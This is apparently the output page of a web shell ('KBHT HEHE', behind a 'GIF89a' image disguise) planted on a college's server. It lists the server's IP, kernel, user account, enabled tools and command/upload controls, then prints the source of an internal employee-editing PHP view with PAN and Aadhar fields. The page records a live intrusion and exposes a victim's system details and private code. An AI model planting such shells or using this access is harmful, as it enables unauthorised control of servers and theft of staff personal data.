GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.15.203.246
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/../cas/application/views/admin/staff/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/../cas/application/views/admin/staff/editEmployee.php
<!DOCTYPE HTML>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <title>Editing Employee <?php echo stripslashes($smember_info->tprfl_firstname . " " . $smember_info->tprfl_lastname); ?> | College Automation System | <?php echo $this->session->userdata("adminData")["branch_short_name"]; ?></title>
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>">
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery-ui.css"); ?>">
        <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&amp;display=swap">
        <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>">
        <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jquery-ui.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script>
        <script>
            var csrfHash = '';
        </script>
    </head>
    <body>
        <div class="se-pre-con"></div>
        <section>
            <?php $this->load->view("admin/navAndHeader"); ?>
            <div class="main-content">
                <div class="container-fluid content-top-gap">
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb my-breadcrumb">
                            <li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard"); ?>">Home</a></li>
                            <li class="breadcrumb-item" aria-current="page"><a href="<?php echo site_url("admin/Staff/"); ?>">Employee Management</a></li>
                            <li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("admin/Staff/editEmployee/" . $smember_info->smember_id); ?>">Edit Employee</a></li>
                        </ol>
                    </nav>
                    <section class="forms">
                        <div class="card card_border py-2 mb-4">
                            <div class="cards__heading">
                                <h3><i class="fa fa-edit"></i> Edit Employee => <?php echo stripslashes($smember_info->tprfl_firstname . " " . $smember_info->tprfl_lastname); ?> </h3>
                            </div>
                            <div class="card-body">
                                <?php if (validation_errors() != false) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo validation_errors(); ?></strong> </div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('successMessage')) { ?>
                                    <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?> </strong> </div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('errorMessage')) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div>
                                <?php } ?>
                                <?php echo form_open(site_url('admin/Staff/updateEmployeeInfo'), ['name' => 'employeeEditFrm', 'id' => 'employeeEditFrm']); ?>
                                <a href="<?php echo base_url($smember_info->staff_photograph); ?>" target="_blank" title="Click To See Full Image"><img src="<?php echo base_url($smember_info->staff_photograph); ?>" width="10%"/></a>
                                <fieldset>
                                    <legend>Primary Info</legend>
                                    <div class="form-row">
                                        <div class="form-group col-md-3">
                                            <label for="empFirstName" class="input__label">First Name *</label>
                                            <input type="text" class="form-control input-style" id="empFirstName" name="empFirstName" value="<?php echo stripslashes($smember_info->tprfl_firstname); ?>" placeholder="Enter Employee First Name" maxlength="50">
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="empLastName" class="input__label">Last Name</label>
                                            <input type="text" class="form-control input-style" id="empLastName" name="empLastName" value="<?php echo stripslashes($smember_info->tprfl_lastname); ?>" placeholder="Enter Employee Last Name" maxlength="50">
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="empDOB" class="input__label">D.O.B.</label>
                                            <input type="text" class="form-control input-style" id="empDOB" name="empDOB" value="<?php echo ($smember_info->tprfl_dob == NULL || $smember_info->tprfl_dob == "") ? "" : date("d/m/Y", strtotime($smember_info->tprfl_dob)); ?>" placeholder="Choose Employee DOB" autocomplete="off" maxlength="50">
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label class="input__label">Gender *</label><br>
                                            <input type="radio" id="empGenMale" name="empGender" value="M" <?php echo ($smember_info->tprfl_gender == "M") ? "checked" : ""; ?>/>&nbsp;<label for="empGenMale">Male</label>
                                            <input type="radio" id="empGenFemale" name="empGender" value="F"<?php echo ($smember_info->tprfl_gender == "F") ? "checked" : ""; ?>/>&nbsp;<label for="empGenFemale">Female</label>
                                        </div>
                                    </div>
                                </fieldset>
                                <fieldset>
                                    <legend>Contact Info</legend>
                                    <div class="form-row">
                                        <div class="form-group col-md-4">
                                            <label for="empMobile" class="input__label">Mobile *</label>
                                            <input type="text" class="form-control input-style" onkeypress="return event.charCode >= 48 && event.charCode <= 57" id="empMobile" name="empMobile" value="<?php echo $smember_info->tprfl_mobile_no; ?>" placeholder="Enter Employee Mobile No." maxlength="10">
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="empEmail" class="input__label">Email *</label>
                                            <input type="text" class="form-control input-style" id="empEmail" name="empEmail" value="<?php echo $smember_info->tprfl_email; ?>" placeholder="Enter Employee Email" maxlength="80">
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="empTelNo" class="input__label">Tel. No.</label>
                                            <input type="text" class="form-control input-style" id="empTelNo" name="empTelNo" value="<?php echo $smember_info->tprfl_tel_no; ?>" placeholder="Enter Employee Tel No." maxlength="20">
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-6">
                                            <label for="empCommState" class="input__label">Communication Address State</label>
                                            <select id="empCommState" name="empCommState" class="form-control input-style">
                                                <option value="">Select State</option>
                                                <?php
                                                foreach ($states as $state) {
                                                    $selected = ($state->state_id == $smember_info->tprfl_comm_state) ? "selected" : "";
                                                    ?>
                                                    <option value="<?php echo $state->state_id; ?>" <?php echo $selected; ?>><?php echo $state->state_name; ?></option>
                                                <?php }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-6">
                                            <label for="empCommCity" class="input__label">Communication Address City</label>
                                            <select id="empCommCity" name="empCommCity" class="form-control input-style">
                                                <option value="">Select City</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-12">
                                            <label for="empCommFullAddress" class="input__label">Full Communication Address</label>
                                            <textarea class="form-control input-style" name="empCommFullAddress" id="empCommFullAddress" placeholder="Enter Full Communication Address" maxlength="150"><?php echo stripslashes($smember_info->tprfl_comm_full_address); ?></textarea>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-12">
                                            <input type="checkbox" name="permaSameAsComm" id="permaSameAsComm" value="T" <?php echo set_radio("permaSameAsComm", "T"); ?>>&nbsp;<label for="permaSameAsComm"><strong>Permanent Address Same As Communication Address</strong></label>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-6">
                                            <label for="empPermaState" class="input__label">Permanent Address State</label>
                                            <select id="empPermaState" name="empPermaState" class="form-control input-style">
                                                <option value="">Select State</option>
                                                <?php
                                                foreach ($states as $state) {
                                                    $selected = ($state->state_id == $smember_info->tprfl_comm_state) ? "selected" : "";
                                                    ?>
                                                    <option value="<?php echo $state->state_id; ?>" <?php echo $selected; ?>><?php echo $state->state_name; ?></option>
                                                <?php }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-6">
                                            <label for="empPermaCity" class="input__label">Permanent Address City</label>
                                            <select id="empPermaCity" name="empPermaCity" class="form-control input-style">
                                                <option value="">Select City</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-12">
                                            <label for="empPermaFullAddress" class="input__label">Full Permanent Address</label>
                                            <textarea class="form-control input-style" name="empPermaFullAddress" id="empPermaFullAddress" placeholder="Enter Full Permanent Address" maxlength="150"><?php echo stripslashes($smember_info->tprfl_perma_full_address); ?></textarea>
                                        </div>
                                    </div>
                                </fieldset>
                                <fieldset>
                                    <legend>Office Records</legend>
                                    <div class="form-row">
                                        <div class="form-group col-md-4">
                                            <label for="empBranch" class="input__label">Branch *</label>
                                            <select id="empBranch" name="empBranch" class="form-control input-style">
                                                <option value="">Select Branch</option>
                                                <?php
                                                foreach ($branches as $branch) {
                                                    $selected = ($branch->branch_id == $smember_info->branch_id) ? "selected" : "";
                                                    ?>
                                                    <option value="<?php echo $branch->branch_id; ?>" <?php echo $selected; ?>><?php echo stripslashes($branch->branch_name); ?></option>
                                                <?php }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="empCodeId" class="input__label">Employee Id/Code</label>
                                            <input type="text" class="form-control input-style" id="empCodeId" name="empCodeId" value="<?php echo stripslashes($smember_info->smember_code); ?>" placeholder="Enter Employee Id/Code" autocomplete="off" maxlength="50">
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="empAppType" class="input__label">Appointment Type</label>
                                            <select id="empAppType" name="empAppType" class="form-control input-style">
                                                <option value="" <?php echo ($smember_info->tprfl_appointment_type == "" || $smember_info->tprfl_appointment_type == NULL) ? "selected" : ""; ?>>Select Appointment Type</option>
                                                <option value="Contractual" <?php echo ($smember_info->tprfl_appointment_type == "Contractual") ? "selected" : ""; ?>>Contractual</option>
                                                <option value="Permanent" <?php echo ($smember_info->tprfl_appointment_type == "Permanent") ? "selected" : ""; ?>>Permanent</option>
                                                <option value="Guest Lecturer" <?php echo ($smember_info->tprfl_appointment_type == "Guest Lecturer") ? "selected" : ""; ?>>Guest Lecturer</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-6">
                                            <label for="empPAN" class="input__label">PAN Number</label>
                                            <input type="text" class="form-control input-style" id="empPAN" name="empPAN" value="<?php echo ($staffPANNumber == NULL || $staffPANNumber == "") ? "" : stripslashes($staffPANNumber); ?>" placeholder="Enter Employee PAN Number" autocomplete="off" maxlength="10">
                                            <input type="hidden" name="empPANInfoId" value="<?php echo $staffPANInfoId; ?>">
                                        </div>
                                        <div class="form-group col-md-6">
                                            <label for="empAadhar" class="input__label">Aadhar Number</label>
                                            <input type="text" class="form-control input-style" id="empAadhar" name="empAadhar" value="<?php echo ($staffAadharNumber == NULL || $staffAadharNumber == "") ? "" : stripslashes($staffAadharNumber); ?>" onkeypress="return event.charCode >= 48 && event.charCode <= 57" placeholder="Enter Aadhar No." autocomplete="off" maxlength="12">
                                            <input type="hidden" name="empAadharInfoId" value="<?php echo $staffAadharInfoId; ?>">
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-3">
                                            <label for="empDOJ" class="input__label">D.O.J.</label>
                                            <input type="text" class="form-control input-style" id="empDOJ" name="empDOJ" value="<?php echo ($smember_info->tprfl_doj == NULL || $smember_info->tprfl_doj == "") ? "" : date("d/m/Y", strtotime($smember_info->tprfl_doj)); ?>" placeholder="Choose Employee Date Of Joining" autocomplete="off" maxlength="50" readonly="readonly">
                                            <small id="dojInstruction" class="form-text text-muted">Initial Date Of Joining</small>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label class="input__label">Is Head/Supervisor?</label><br>
                                            <input type="radio" id="empIsHeadYes" name="empIsHead" value="T" <?php echo ($smember_info->tld_is_head == "T") ? "checked" : ""; ?>/>&nbsp;<label for="empIsHeadYes">Yes</label>
                                            <input type="radio" id="empIsHeadNo" name="empIsHead" value="F" <?php echo ($smember_info->tld_is_head == "F") ? "checked" : ""; ?>/>&nbsp;<label for="empIsHeadNo">No</label>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label class="input__label">Has Employee Resigned?</label><br>
                                            <input type="radio" id="empHasResignedYes" name="empHasResigned" value="T" <?php echo ($smember_info->tld_working_status == "L") ? "checked" : ""; ?>/>&nbsp;<label for="empHasResignedYes">Yes</label>
                                            <input type="radio" id="empHasResignedNo" name="empHasResigned" value="F" <?php echo ($smember_info->tld_working_status == "W" || $smember_info->tld_working_status == "A") ? "checked" : ""; ?>/>&nbsp;<label for="empHasResignedNo">No</label>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="empDOR" class="input__label">D.O.R.</label>
                                            <input type="text" class="form-control input-style" id="empDOR" name="empDOR" value="<?php echo ($smember_info->tprfl_dor == NULL || $smember_info->tprfl_dor == "") ? "" : date("d/m/Y", strtotime($smember_info->tprfl_dor)); ?>" placeholder="Choose Employee Date Of Resign" autocomplete="off" maxlength="50" readonly="readonly">
                                            <small id="dorInstruction" class="form-text text-muted">Date Of Resign</small>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-3">
                                            <label for="empDept" class="input__label">Department *</label>
                                            <select id="empDept" name="empDept" class="form-control input-style readonly">
                                                <option value="">Select Department</option>
                                                <?php
                                                foreach ($departments as $department) {
                                                    $selected = ($department->dept_id == $smember_info->dept_id) ? "selected" : "";
                                                    ?>
                                                    <option value="<?php echo $department->dept_id; ?>" <?php echo $selected; ?>><?php echo stripslashes($department->dept_name); ?></option>
                                                <?php }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="empSubDept" class="input__label">Sub-Department *</label>
                                            <select id="empSubDept" name="empSubDept" class="form-control input-style readonly">
                                                <option value="">Select Sub-Department</option>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="empDesigCat" class="input__label">Designation Category *</label>
                                            <select id="empDesigCat" name="empDesigCat" class="form-control input-style readonly">
                                                <option value="">Select Designation Category</option>
                                                <?php
                                                foreach ($desigCategories as $desigCats) {
                                                    $selected = ($desigCats->dcm_id == $smember_info->dcm_id) ? "selected" : "";
                                                    ?>
                                                    <option value="<?php echo $desigCats->dcm_id; ?>" <?php echo $selected; ?>><?php echo addslashes($desigCats->dcm_name); ?></option>
                                                    <?php
                                                }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="empDesig" class="input__label">Designation *</label>
                                            <select id="empDesig" name="empDesig" class="form-control input-style readonly">
                                                <option value="">Select Designation</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-12">
                                            <small id="officeInfoInstruction" class="form-text text-muted"><b>Note: You Can Not Edit Dept./Sub. Dept./Designation. It Can Only Be Changed By Concerned Authority Who Takes Care Of Employee Promotion/Appraisal.</b></small>
                                        </div>
                                    </div>
                                    <div class="form-row">

                                    </div>
                                </fieldset>
                                <fieldset>
                                    <legend>For ERP Purpose</legend>
                                    <div class="form-row">
                                        <div class="form-group col-md-6">
                                            <label for="empRole" class="input__label">Role *</label>
                                            <select id="empRole" name="empRole" class="form-control input-style">
                                                <option value="">Select Role</option>
                                                <?php
                                                foreach ($roles as $role) {
                                                    $selected = ($role->role_id == $smember_info->role_id) ? "selected" : "";
                                                    ?>
                                                    <option value="<?php echo $role->role_id; ?>" <?php echo $selected; ?>><?php echo stripslashes($role->role_name); ?></option>
                                                <?php }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-6">
                                            <label for="empSigninId" class="input__label">Signin Id *</label>
                                            <input type="text" class="form-control input-style" id="empSigninId" name="empSigninId" value="<?php echo stripslashes($smember_info->tld_signinid); ?>" placeholder="Enter Employee Signin Id (Will Be Used As Username For Login)" maxlength="80">
                                        </div>
                                    </div>
                                </fieldset>
                                <input type="hidden" name="smemberId" value="<?php echo $smember_info->smember_id; ?>">
                                <input type="hidden" name="tldId" value="<?php echo $smember_info->tld_id; ?>">
                                <input type="hidden" name="tprflId" value="<?php echo $smember_info->tprfl_id; ?>">
                                <button type="submit" class="btn btn-primary btn-block btn-style mt-4">Save Changes</button>
                                <?php echo form_close(); ?>
                            </div>
                        </div>
                    </section>
                </div>
            </div>
        </section>
        <script>
            $("#empCommState").on("change", function () {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($(this).val().trim() != "") {
                    $.ajax({
                        url: '<?php echo site_url('admin/Locations/getActiveCitiesByState/') ?>',
                        data: {state_id: $(this).val(), csrf_token: csrfHash},
                        type: 'POST',
                        async: false,
                        success: function (result) {
                            var cityInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#empCommCity").html(cityInfo.city_list);
                            csrfHash = cityInfo.csrfHash;
                            employeeEditFrm.csrf_token.value = csrfHash;
                        }
                    });
                } else {
                    $("#empCommCity").html("<option>Select City</option>");
                    $(".se-pre-con").fadeOut("slow");
                }
            });

            $("#empPermaState").on("change", function () {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($(this).val().trim() != "") {
                    $.ajax({
                        url: '<?php echo site_url('admin/Locations/getActiveCitiesByState/') ?>',
                        data: {state_id: $(this).val(), csrf_token: csrfHash},
                        type: 'POST',
                        async: false,
                        success: function (result) {
                            var cityInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#empPermaCity").html(cityInfo.city_list);
                            csrfHash = cityInfo.csrfHash;
                            employeeEditFrm.csrf_token.value = csrfHash;
                        }
                    });
                } else {
                    $("#empPermaCity").html("<option>Select City</option>");
                    $(".se-pre-con").fadeOut("slow");
                }
            });

            $("#empDept").on("change", function () {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($(this).val().trim() != "") {
                    $.ajax({
                        url: '<?php echo site_url('admin/SubDepartment/getNonDeletedActiveSubDepartmentsForDropDown/') ?>',
                        data: {dept_id: $(this).val(), csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var subDeptInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#empSubDept").html(subDeptInfo.sub_dept_list);
                            csrfHash = subDeptInfo.csrfHash;
                            employeeEditFrm.csrf_token.value = csrfHash;
                        }
                    });
                } else {
                    $("#empSubDept").html("<option>Select Sub-Department</option>");
                    $(".se-pre-con").fadeOut("slow");
                }
            });

            $("#empDesigCat").on("change", function () {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($(this).val().trim() != "") {
                    $.ajax({
                        url: '<?php echo site_url('admin/Designation/getNonDeletedActiveDesignationsForDropDown/') ?>',
                        data: {desig_cat_id: $(this).val(), csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var desigInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#empDesig").html(desigInfo.desig_list);
                            csrfHash = desigInfo.csrfHash;
                            employeeEditFrm.csrf_token.value = csrfHash;
                        }
                    });
                } else {
                    $("#empDesig").html("<option>Select Designation</option>");
                    $(".se-pre-con").fadeOut("slow");
                }
            });

            $("#empDOB").datepicker({
                dateFormat: "dd/mm/yy",
                changeMonth: true,
                changeYear: true,
                yearRange: '1960:-18',
                numberOfMonths: 1
            });

            $("#empDOJ").datepicker({
                dateFormat: "dd/mm/yy",
                changeMonth: true,
                changeYear: true,
                yearRange: '1980:<?php echo date("Y"); ?>',
                numberOfMonths: 1
            });

            $("#empDOR").datepicker({
                dateFormat: "dd/mm/yy",
                changeMonth: true,
                changeYear: true,
                yearRange: '1980:<?php echo date("Y"); ?>',
                numberOfMonths: 1
            });

            $("#permaSameAsComm").on("click", function () {
                if ($(this).is(":checked")) {
                    $("#empPermaState").val($("#empCommState").val());
                    $("#empPermaState").trigger("change");
                    $("#empPermaCity").val($("#empCommCity").val());
                    $("#empPermaFullAddress").val($("#empCommFullAddress").val());
                } else {
                    $("#empPermaState").val("");
                    $("#empPermaCity").val("");
                    $("#empPermaFullAddress").val("");
                }
            });

            $(document).ready(function () {
                if ($("#empCommState").val() != "") {
                    $(".se-pre-con").fadeIn("slow");
                    if (csrfHash === '') {
                        csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                    }
                    $.ajax({
                        url: '<?php echo site_url('admin/Locations/getActiveCitiesByStateSelected/') ?>',
                        data: {state_id: <?php echo $smember_info->tprfl_comm_state; ?>, city_id: <?php echo $smember_info->tprfl_comm_city; ?>, csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var cityInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#empCommCity").html(cityInfo.city_list);
                            csrfHash = cityInfo.csrfHash;
                            employeeEditFrm.csrf_token.value = csrfHash;
                        }
                    });
                }

                if ($("#empPermaState").val() != "") {
                    $(".se-pre-con").fadeIn("slow");
                    if (csrfHash === '') {
                        csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                    }
                    $.ajax({
                        url: '<?php echo site_url('admin/Locations/getActiveCitiesByStateSelected/') ?>',
                        data: {state_id: <?php echo $smember_info->tprfl_perma_state; ?>, city_id: <?php echo $smember_info->tprfl_perma_city; ?>, csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var cityInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#empPermaCity").html(cityInfo.city_list);
                            csrfHash = cityInfo.csrfHash;
                            employeeEditFrm.csrf_token.value = csrfHash;
                        }
                    });
                }

                if ($("#empDept").val() != "") {
                    $(".se-pre-con").fadeIn("slow");
                    if (csrfHash === '') {
                        csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                    }
                    $.ajax({
                        url: '<?php echo site_url('admin/SubDepartment/getNonDeletedActiveSubDepartmentsForDropDownSelected/') ?>',
                        data: {dept_id: <?php echo $smember_info->dept_id; ?>, sub_dept_id:<?php echo $smember_info->sub_dept_id; ?>, csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var subDeptInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#empSubDept").html(subDeptInfo.sub_dept_list);
                            csrfHash = subDeptInfo.csrfHash;
                            employeeEditFrm.csrf_token.value = csrfHash;
                        }
                    });
                }

                if (<?php echo $smember_info->desig_id; ?> != "") {
                    $(".se-pre-con").fadeIn("slow");
                    if (csrfHash === '') {
                        csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                    }
                    $.ajax({
                        url: '<?php echo site_url('admin/Designation/getNonDeletedActiveDesignationsForDropDownSelected/') ?>',
                        data: {desig_cat_id: $("#empDesigCat").val(), desig_id:<?php echo $smember_info->desig_id; ?>, csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var desigInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#empDesig").html(desigInfo.desig_list);
                            csrfHash = desigInfo.csrfHash;
                            employeeEditFrm.csrf_token.value = csrfHash;
                        }
                    });
                }
            });
        </script>
        <?php $this->load->view("admin/footer"); ?>
    </body>
</html>

KBHT - 2023